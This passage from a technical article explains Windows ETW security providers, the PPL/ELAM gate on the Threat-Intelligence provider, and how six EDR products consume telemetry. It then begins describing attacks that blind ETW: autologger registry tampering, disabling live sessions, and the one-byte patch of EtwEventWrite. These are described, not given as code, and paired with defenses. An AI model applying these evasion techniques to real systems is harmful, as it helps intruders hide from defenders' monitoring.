&lt;p&gt;GUID &lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;, verbatim in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]. The only ETW source in the catalogue that fires from inside the kernel for memory-modifying syscalls. Ten task IDs, all prefixed &lt;code&gt;KERNEL_THREATINT_TASK_&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ALLOCVM&lt;/code&gt; (&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PROTECTVM&lt;/code&gt; (&lt;code&gt;NtProtectVirtualMemory&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MAPVIEW&lt;/code&gt; (section mapping; cross-process and self)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;QUEUEUSERAPC&lt;/code&gt; (&lt;code&gt;NtQueueApcThread&lt;/code&gt; cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SETTHREADCONTEXT&lt;/code&gt; (&lt;code&gt;NtSetContextThread&lt;/code&gt; cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;READVM&lt;/code&gt; (&lt;code&gt;NtReadVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WRITEVM&lt;/code&gt; (&lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUSPENDRESUME_THREAD&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUSPENDRESUME_PROCESS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DRIVER_DEVICE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each task pairs with a 64-bit keyword bitmask that distinguishes &lt;code&gt;LOCAL&lt;/code&gt; vs &lt;code&gt;REMOTE&lt;/code&gt; (cross-process) and &lt;code&gt;KERNEL_CALLER&lt;/code&gt; vs not. The Elastic Security Labs walkthrough [@elastic-doubling-down] [@elastic-doubling-down] lists the named Win32/Nt syscalls that surface here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The most notable addition to this visibility is the Microsoft-Windows-Threat-Intelligence Event Tracing for Windows (ETW) provider ... VirtualAlloc, VirtualProtect, MapViewOfFile, VirtualAllocEx, VirtualProtectEx, MapViewOfFile2, QueueUserAPC, SetThreadContext, WriteProcessMemory, ReadProcessMemory(lsass)&quot; -- Elastic Security Labs [@elastic-doubling-down] [@elastic-doubling-down]&lt;/p&gt;
&lt;/blockquote&gt;

The kernel-emitted ETW provider for memory-modifying syscalls. GUID `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`. Events are emitted from the kernel side of the syscall path (not from a user-mode trampoline), which makes the provider unreachable from a user-mode patcher in the calling process. Consumption is gated behind Protected Process Light at the Antimalware signer level, paired with an Early Launch Antimalware driver. The provider first shipped in the Windows 10 RS-era; the precise build is not stated verbatim in any Microsoft primary located, with community references converging on no later than 1709.
&lt;p&gt;The first-ship-build is hedged: the provider GUID and task inventory are well-documented in third-party reverse-engineering primaries, but no Microsoft primary located in the source verification stage pins the exact build. The community reference range is Windows 10 1607 (RS1) through 1709 (RS3). The dispositive practical evidence is Yarden Shafir&apos;s 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir], which shows live-debugger output of &lt;code&gt;CSFalconService.exe&lt;/code&gt; (CrowdStrike) holding &lt;code&gt;EtwConsumer&lt;/code&gt; handles to multiple logger IDs simultaneously. By 2023 third-party EDRs were demonstrably consuming EtwTi at scale.&lt;/p&gt;
&lt;h3&gt;The catalogue as a single screen&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;Surface&lt;/th&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Primary source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Security-Auditing&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{54849625-5478-4994-A5BA-3E3B0328C30D}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Audit-policy events (4624/4625/4688/...)&lt;/td&gt;
&lt;td&gt;None (Local Security Policy)&lt;/td&gt;
&lt;td&gt;[@ms-event-4624]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Process&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Process / thread / image-load events&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@fireeye-silketw-launch], [@gh-jdu2600]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-File&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;File I/O syscalls&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Network&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;TCP/UDP send/receive&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Registry&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;Registry create/open/set/delete&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Antimalware-Scan-Interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post-deobfuscation script content&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@ms-amsi-portal], [@palantir-tampering-wayback]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{a0c1853b-5c40-4b15-8766-3cf1c58f985a}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Script-block logging (4104), pipeline&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-DotNETRuntime&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CLR assembly load, JIT, exceptions&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@xpn-hiding-dotnet]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Sysmon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sysmon driver re-publication&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@ms-sysmon]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Threat-Intelligence&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Memory-modifying syscalls (kernel-emitted)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PPL + ELAM (Antimalware signer level)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;[@fluxsec-eti], [@elastic-doubling-down]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

This is the *security* catalogue. The full Windows manifest-based provider list is roughly 1,300 entries on a current Windows 11 build; performance-tuning, diagnostic, and developer-facing providers fill out the rest. The jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the full list across Win10 versions; the repnz archive [@gh-repnz] [@gh-repnz] preserves byte-stable manifest copies for cross-version diffing.
&lt;p&gt;Nine of the ten rows in that table are accessible to any SYSTEM-privileged user-mode service. The tenth -- EtwTi -- requires a passport. The next section is about who issues the passport.&lt;/p&gt;
&lt;h2&gt;9. The PPL / ELAM gate: why EtwTi is not for everyone&lt;/h2&gt;
&lt;p&gt;To consume the one ETW provider that fires from the kernel for memory-modifying syscalls, your service must be (a) a Protected Process Light [@paragmali-com-app-ide], (b) signed at the Antimalware signer level with EKU &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt;, and (c) loaded from disk by an Early Launch Antimalware [@paragmali-com-to-userini] driver registered at boot. Two of those three were not possible for third parties until the Windows 10 RS-era.&lt;/p&gt;
&lt;p&gt;fluxsec.red [@fluxsec-eti] [@fluxsec-eti] gives the prerequisite list verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;In order to start receiving ETW:TI signals, we need: 1. A service running as Protected Process Light, 2. An Early Launch Antimalware driver and certificate, 3. A logging mechanism.&quot; -- [@fluxsec-eti]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each prerequisite has a story.&lt;/p&gt;
&lt;h3&gt;Protected Process Light at the Antimalware signer level&lt;/h3&gt;
&lt;p&gt;Windows 8.1 introduced the &lt;em&gt;protected service&lt;/em&gt; concept specifically for antimalware engines. The motivation was simple: a malicious process running as administrator should not be able to inject code into the antimalware service or attach a debugger to it. The Microsoft Learn primary [@ms-protect-am] [@ms-protect-am] sets out the model:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Windows 8.1 introduced a new concept of protected services to protect anti-malware services... In addition to the existing ELAM driver certification requirements, the driver must have an embedded resource section containing the information of the certificates used to sign the user mode service binaries.&quot; -- [@ms-protect-am]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PPL is a process-protection level. A given process has a level on the PPL lattice; another process can open it for write or debug only if the requesting process&apos;s level is greater than or equal to the target&apos;s. Antimalware-PPL is a &lt;em&gt;signer level&lt;/em&gt; on that lattice. The kernel admits a process to Antimalware-PPL when its image is signed with a certificate whose EKU includes &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt; (Windows Antimalware) &lt;em&gt;and&lt;/em&gt; whose certificate is enrolled in an ELAM driver&apos;s allow-list at boot.&lt;/p&gt;

A Windows process-protection model. Each process has a PPL level; another process may open it for write or debug only if the requestor is at an equal or higher level. Originally introduced for DRM, the lattice was extended in Windows 8.1 to host the Antimalware signer level for protecting antimalware services from administrative-rights attackers.

A specific signer level on the PPL lattice. Reserved in Windows 8.1 for Microsoft Defender; opened to third-party EDR vendors via ELAM onboarding in the Windows 10 RS-era. Consumption of the `Microsoft-Windows-Threat-Intelligence` ETW provider is gated at the Antimalware signer level: an `EnableTraceEx2` call from a non-Antimalware-PPL caller against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the `EnableTraceEx2` [@ms-enabletraceex2] [@ms-enabletraceex2] page documents the error code for callers that lack the documented administrative groups; the per-provider PPL-signer-level check that triggers it for the EtwTi GUID specifically is described in the [@fluxsec-eti] prerequisite list).
&lt;h3&gt;Early Launch Antimalware&lt;/h3&gt;
&lt;p&gt;ELAM is a driver class that loads before any other non-Microsoft boot driver. The Microsoft Learn primary [@ms-elam] [@ms-elam] describes it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Because an ELAM service runs as a PPL (Protected Process Light), you need to debug using a kernel debugger... AM drivers are initialized first and allowed to control the initialization of subsequent boot drivers, potentially not initializing unknown boot drivers.&quot; -- [@ms-elam]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The boot sequence runs like this. Winload loads the ELAM driver as part of the early-boot path. The ELAM driver registers a callback via &lt;code&gt;IoRegisterBootDriverCallback&lt;/code&gt; and gets to inspect each subsequent boot driver, returning a verdict (initialize / do not initialize / unknown) based on the certificate inventory it carries in its embedded resource section. The kernel honours that verdict. After boot drivers settle, the SCM launches the paired user-mode antimalware service with the &lt;code&gt;LaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; flag, and the kernel admits that service to Antimalware-PPL because its signing certificate matches an entry in the ELAM driver&apos;s allow-list.&lt;/p&gt;

A driver class that loads before any non-Microsoft boot driver. The ELAM driver registers a boot-driver callback to inspect subsequent drivers and an embedded-resource certificate inventory of permitted user-mode antimalware service signatures. Together with PPL, ELAM gates which user-mode antimalware services can pass the Antimalware-PPL admission check.
&lt;h3&gt;The 1709 onboarding&lt;/h3&gt;
&lt;p&gt;Microsoft Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; ran at the Antimalware signer level by default starting around the Windows 10 1709 timeframe (October 17, 2017), and the same release is widely cited in EDR-vendor documentation as the moment the Antimalware-PPL onboarding was extended to third-party EDR vendors. The Microsoft primary that pins the 1709 third-party onboarding date is not in the public ETW documentation; we treat the date as widely-cited rather than verified.&lt;/p&gt;
&lt;p&gt;The dispositive practical evidence is the Trail of Bits 2023 walkthrough by Yarden Shafir [@trailofbits-shafir] [@trailofbits-shafir]. Shafir&apos;s WinDbg JS scripts walk the live &lt;code&gt;_ETW_REALTIME_CONSUMER&lt;/code&gt; data structures of a running Windows host and print:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Process CSFalconService.exe with ID 0x1e54 has handle 0x760 to Logger ID 3&quot; -- [@trailofbits-shafir]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is CrowdStrike&apos;s user-mode service, holding a real-time consumer handle to an EtwTi logger session. By 2023 the third-party Antimalware-PPL story is operationally complete.&lt;/p&gt;

sequenceDiagram
    participant BL as Winload (boot)
    participant EL as ELAM Driver
    participant SCM as Service Control Manager
    participant SVC as EDR Service
    participant K as Kernel ETW
    BL-&amp;gt;&amp;gt;EL: Load ELAM driver (early boot)
    EL-&amp;gt;&amp;gt;EL: Register IoRegisterBootDriverCallback then read embedded cert inventory
    Note over EL: ELAM gates subsequent boot drivers
    SCM-&amp;gt;&amp;gt;SVC: Start EDR service with PROTECTED_ANTIMALWARE_LIGHT flag
    K-&amp;gt;&amp;gt;SVC: Verify signature against ELAM allow-list
    K--&amp;gt;&amp;gt;SVC: Admit to Antimalware-PPL
    SVC-&amp;gt;&amp;gt;K: EnableTraceEx2(session, EtwTi GUID, ...)
    K-&amp;gt;&amp;gt;K: Check caller signer level ge Antimalware
    K--&amp;gt;&amp;gt;SVC: SUCCESS
    Note over SVC,K: Non-PPL caller would receive ERROR_ACCESS_DENIED here
&lt;h3&gt;Why this gate matters for the section 1 hook&lt;/h3&gt;
&lt;p&gt;The asymmetry that defines the entire generation is one sentence in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]:&lt;/p&gt;

We cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself. To do so, you&apos;d require kernelmode execution and then to patch out those signals so no ETW signals are emitted. -- [@fluxsec-eti]
&lt;p&gt;That is the answer to the puzzle the section 1 hook posed. The Adam Chester 2020 patch operates on a user-mode trampoline in the calling process. &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; is a stub that calls down through &lt;code&gt;NtTraceEvent&lt;/code&gt; into the kernel; rewriting its first byte to &lt;code&gt;0xC3&lt;/code&gt; short-circuits the user-mode entry path and the calling process emits no events through that stub. But EtwTi does not fire from the user-mode entry path. EtwTi fires from inside the kernel implementation of &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; and friends, after the syscall has crossed the boundary, on a path the user-mode patcher cannot reach without first achieving kernel execution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; EtwTi is the only ETW provider in the catalogue whose producer fires from the kernel side of the syscall path -- and that is exactly why a user-mode patch in the calling process cannot silence it. The PPL+ELAM gate that controls &lt;em&gt;consumer&lt;/em&gt; admission is paired with a &lt;em&gt;producer&lt;/em&gt; location that no in-process attacker can reach.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 2017 PPL+ELAM gate was a deliberate structural defense against the patch class that was only fully publicised three years later. By the time Chester wrote his March 2020 post, the load-bearing security signal was already structurally out of reach of his technique.&lt;/p&gt;

The combination of PPL and ELAM is not an arbitrary defense-in-depth stack. PPL gates *consumer identity* at signer level: only a binary signed with the Antimalware EKU and enrolled in an ELAM allow-list can subscribe. ELAM gates *load order*: the gate is set during early boot, before any code an attacker could load gets a chance to interfere. The signer-level check is hard because forging the signature requires breaking Microsoft&apos;s PKI; the load-order check is hard because subverting it requires compromising the boot path, which Secure Boot and the Vulnerable Driver Blocklist exist to defend.
&lt;p&gt;That is the gate. Now we walk the consumers that pass through it.&lt;/p&gt;
&lt;h2&gt;10. Six vendors, three spectra: a map of the EDR consumer architecture&lt;/h2&gt;
&lt;p&gt;Defender, CrowdStrike, SentinelOne, Sysmon, Wazuh, Elastic Defend. They look interchangeable on a vendor comparison sheet. They are not, and the differences are entirely about which substrates each one consumes.&lt;/p&gt;
&lt;p&gt;There are three axes that distinguish them.&lt;/p&gt;
&lt;h3&gt;Axis 1: kernel callbacks vs ETW&lt;/h3&gt;
&lt;p&gt;Some EDRs consume process-creation events through ETW (subscribing to &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; from a SYSTEM-privileged user-mode service). Others register kernel callbacks directly through &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetprocnotify] [@ms-pssetprocnotify] and &lt;code&gt;PsSetCreateThreadNotifyRoutine&lt;/code&gt; [@ms-pssetthreadnotify] [@ms-pssetthreadnotify] from a kernel driver they ship.&lt;/p&gt;
&lt;p&gt;The trade-off is sharp. Kernel callbacks are synchronous: the kernel calls into the driver before the operation completes, the driver runs at PASSIVE_LEVEL in the originating thread context with normal kernel APCs disabled, and the driver can deny the operation by writing a non-success status to &lt;code&gt;CreationStatus&lt;/code&gt;. ETW is asynchronous: the event is emitted from the producer&apos;s hot path, drained from a per-CPU buffer by the writer thread, and delivered to the consumer&apos;s callback at some later point. ETW cannot deny anything; it can only observe.&lt;/p&gt;

The `PsSetCreate*NotifyRoutine` family of kernel APIs. A driver calls `PsSetCreateProcessNotifyRoutineEx` (process create/exit), `PsSetCreateThreadNotifyRoutine` (thread create/exit), or `PsSetLoadImageNotifyRoutine` (image load) at boot to register a callback. The kernel invokes the callback synchronously, in the originating thread context at PASSIVE_LEVEL with normal kernel APCs disabled. The `Ex` variant of the process callback receives a `CreationStatus` field the driver can write to deny the operation.
&lt;p&gt;CrowdStrike, SentinelOne, Sysmon, and Elastic Defend ship kernel drivers and use callbacks for the latency-critical hot path. Defender uses both -- callbacks from &lt;code&gt;WdFilter.sys&lt;/code&gt; and ETW consumption from &lt;code&gt;MsMpEng.exe&lt;/code&gt; -- because as the in-box engine it has the institutional position to do so. Wazuh ships no kernel driver; it consumes ETW exclusively via SilkETW-class wrappers, which makes it less invasive but unable to deny.&lt;/p&gt;
&lt;h3&gt;Axis 2: PPL adoption&lt;/h3&gt;
&lt;p&gt;Defender (&lt;code&gt;MsMpEng.exe&lt;/code&gt; and &lt;code&gt;MsMpEngCP.exe&lt;/code&gt;) runs at Antimalware-PPL by default. CrowdStrike&apos;s &lt;code&gt;CSFalconService.exe&lt;/code&gt; runs at Antimalware-PPL, demonstrably [@trailofbits-shafir] [@trailofbits-shafir]. SentinelOne&apos;s &lt;code&gt;SentinelAgent.exe&lt;/code&gt; is widely reported to run at Antimalware-PPL via vendor documentation, although it does not appear in the Trail of Bits sample debugger output. Sysmon runs as a &lt;em&gt;protected process&lt;/em&gt; but not at the Antimalware signer level [@ms-sysmon] [@ms-sysmon] -- the Microsoft Learn page states &quot;The service runs as a protected process, thus disallowing a wide range of user mode interactions&quot; without naming Antimalware specifically.&lt;/p&gt;
&lt;p&gt;Wazuh and Elastic Defend&apos;s user-mode services run as standard SYSTEM-privileged services without PPL.&lt;/p&gt;
&lt;h3&gt;Axis 3: EtwTi consumption&lt;/h3&gt;
&lt;p&gt;This axis is determined by axis 2. Defender consumes EtwTi by design -- it is the in-box reason EtwTi exists. CrowdStrike and SentinelOne consume EtwTi (the Trail of Bits debugger output is the practical demonstration). Sysmon does not consume EtwTi: it is not Antimalware-PPL, so its &lt;code&gt;EnableTraceEx2&lt;/code&gt; calls against the EtwTi GUID would receive &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. Sysmon relies on its own &lt;code&gt;SysmonDrv.sys&lt;/code&gt; callbacks for the in-memory threat surface that EtwTi covers for the others. Wazuh and Elastic Defend do not consume EtwTi for the same reason; Elastic Defend ships its own kernel driver to compensate [@elastic-doubling-down] [@elastic-doubling-down], using Microsoft-blessed kernel-callback paths for memory events.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vendor&lt;/th&gt;
&lt;th&gt;Process surface&lt;/th&gt;
&lt;th&gt;PPL level&lt;/th&gt;
&lt;th&gt;EtwTi?&lt;/th&gt;
&lt;th&gt;Primary source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft Defender&lt;/td&gt;
&lt;td&gt;Driver callbacks (&lt;code&gt;WdFilter.sys&lt;/code&gt;) + ETW (&lt;code&gt;MsMpEng.exe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;[@ms-protect-am]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrowdStrike Falcon&lt;/td&gt;
&lt;td&gt;Driver callbacks + ETW&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Yes ([@trailofbits-shafir] live evidence)&lt;/td&gt;
&lt;td&gt;[@trailofbits-shafir]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SentinelOne&lt;/td&gt;
&lt;td&gt;Driver callbacks + ETW&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Widely reported&lt;/td&gt;
&lt;td&gt;-- (vendor docs; SentinelAgent.exe not in [@trailofbits-shafir] sample)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sysmon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysmonDrv.sys&lt;/code&gt; callbacks; publishes via own ETW provider&lt;/td&gt;
&lt;td&gt;Protected (not Antimalware)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;[@ms-sysmon]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wazuh&lt;/td&gt;
&lt;td&gt;ETW only (SilkETW-class)&lt;/td&gt;
&lt;td&gt;Standard SYSTEM&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Elastic Defend&lt;/td&gt;
&lt;td&gt;Own kernel driver + ETW&lt;/td&gt;
&lt;td&gt;Standard SYSTEM&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;[@elastic-doubling-down]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sysmon is worth singling out as the canonical &lt;em&gt;callback-then-publish&lt;/em&gt; reference architecture. Its kernel driver registers &lt;code&gt;PsSetCreate*NotifyRoutine&lt;/code&gt; callbacks; its user-mode service consumes the events the driver delivers; and the service then publishes them via its own &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; ETW provider for any downstream consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) to read. The result is that Sysmon&apos;s events are universally consumable -- which is why Wazuh and Splunk both ship Sysmon configurations as their default kernel-event source.&lt;/p&gt;

Sysmon&apos;s design choice is the reference architecture for the callback-then-publish pattern, even though Sysmon is not itself an Antimalware-PPL EDR. By publishing through its own ETW provider rather than writing to a private channel, Sysmon makes its events consumable by any downstream pipeline. Wazuh and the Splunk Universal Forwarder can both ingest Sysmon events without any custom integration work. This is why Sysmon, despite being free, is the de facto kernel-event source for the open-source SIEM world.

flowchart LR
    K[Kernel callbacks&lt;br /&gt;synchronous, can deny] --- L1[Sysmon driver]
    K --- L2[CrowdStrike driver]
    K --- L3[SentinelOne driver]
    K --- L4[Elastic driver]
    K --- L5[Defender WdFilter.sys]
    M[ETW providers&lt;br /&gt;asynchronous, observe-only&lt;br /&gt;up to 8 consumers per provider] --- M1[Defender MsMpEng]
    M --- M2[CrowdStrike service]
    M --- M3[SentinelOne service]
    M --- M4[Sysmon service]
    M --- M5[Wazuh ETW reader]
    M --- M6[Elastic Defend service]
    K -.latency-vs-coupling axis.-&amp;gt; M
&lt;p&gt;The CrowdStrike July 2024 channel-file outage was a kernel-driver brittleness story, not an ETW story. The Falcon kernel driver&apos;s content-update parser dereferenced an out-of-bounds pointer when processing a channel file whose Rapid Response Content template had 21 input fields while the sensor&apos;s Content Interpreter expected only 20, triggering an out-of-bounds array read, BSOD-ing roughly 8.5 million Windows hosts [@ms-crowdstrike-2024][@crowdstrike-rca-2024]. That story belongs to the App Identity in Windows article [@paragmali-com-app-ide] in this series; it is mentioned here only to mark that the cost of the synchronous-kernel-driver path is a higher blast radius when the driver itself is buggy.&lt;/p&gt;
&lt;p&gt;A note on Defender&apos;s cloud schema. The events that surface in Microsoft Defender for Endpoint&apos;s hunting tables -- &lt;code&gt;DeviceProcessEvents&lt;/code&gt;, &lt;code&gt;DeviceFileEvents&lt;/code&gt;, &lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, &lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;, &lt;code&gt;DeviceRegistryEvents&lt;/code&gt; -- are the cloud-side abstraction over the kernel and ETW telemetry the Defender sensor collects locally. The full schema mapping from ETW provider to cloud column is out of scope here, but the substrate is the same.&lt;/p&gt;
&lt;p&gt;Six vendors, three axes, one substrate. Now we walk the attack tradition that the substrate has to survive.&lt;/p&gt;
&lt;h2&gt;11. The attack tradition: five generations of trying to blind ETW&lt;/h2&gt;
&lt;p&gt;Every generation of ETW has been attacked. Some attacks broke a single provider; some broke every user-mode provider on a host; one would, if it worked at scale, break Defender. The defense story is on the same five-generation timeline.&lt;/p&gt;
&lt;h3&gt;Gen 1 (2014-2018): autologger registry tampering&lt;/h3&gt;
&lt;p&gt;The dispositive taxonomy is Matt Graeber and Lee Christensen&apos;s December 24, 2018 Palantir CIRT post [@palantir-tampering-wayback] [@palantir-tampering-wayback], preserved in the Wayback Machine because the direct Medium URL has since returned HTTP 403 to non-browser fetchers. The opening framing is verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Event Tracing for Windows (ETW) is the mechanism Windows uses to trace and log system events. Attackers often clear event logs to cover their tracks. Though the act of clearing an event log itself generates an event, attackers who know ETW well may take advantage of tampering opportunities to cease the flow of logging temporarily or even permanently, without generating any event log entries in the process.&quot; -- [@palantir-tampering-wayback]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Graeber and Christensen split the technique into two classes. &lt;em&gt;Persistent tampering&lt;/em&gt; writes to the autologger registry path described in section 6, disabling a session before it ever starts at next boot; the events of interest are never captured because the session is never running. &lt;em&gt;Ephemeral tampering&lt;/em&gt; targets a live session: stopping the session via &lt;code&gt;ControlTrace&lt;/code&gt;, removing a provider from a session via &lt;code&gt;EnableTraceEx2(EVENT_CONTROL_CODE_DISABLE_PROVIDER, ...)&lt;/code&gt;, or directly clearing the session&apos;s buffers.&lt;/p&gt;
&lt;p&gt;The defense is direct: monitor the autologger registry surface. Sysmon Event ID 13 [@ms-sysmon] surfaces registry value-set events in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt;; a SOC playbook that alerts on any unexpected write to that subtree catches the persistent class of attack reliably. Matt Graeber&apos;s authorship is cross-confirmed by the palantir/exploitguard repository [@gh-palantir-exploitguard] [@gh-palantir-exploitguard], which credits him as the lead researcher on the ETW work.&lt;/p&gt;
&lt;h3&gt;Gen 2 (2020): user-mode &lt;code&gt;EtwEventWrite&lt;/code&gt; 0xC3 RET patch&lt;/h3&gt;
&lt;p&gt;The technique that made ETW patching a household tradecraft term is Adam Chester&apos;s &quot;Hiding your .NET - ETW&quot;, March 17, 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The mechanic is one byte:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Locate &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; (or in modern variants &lt;code&gt;ntdll!NtTraceEvent&lt;/code&gt;) in the calling process&apos;s memory.&lt;/li&gt;
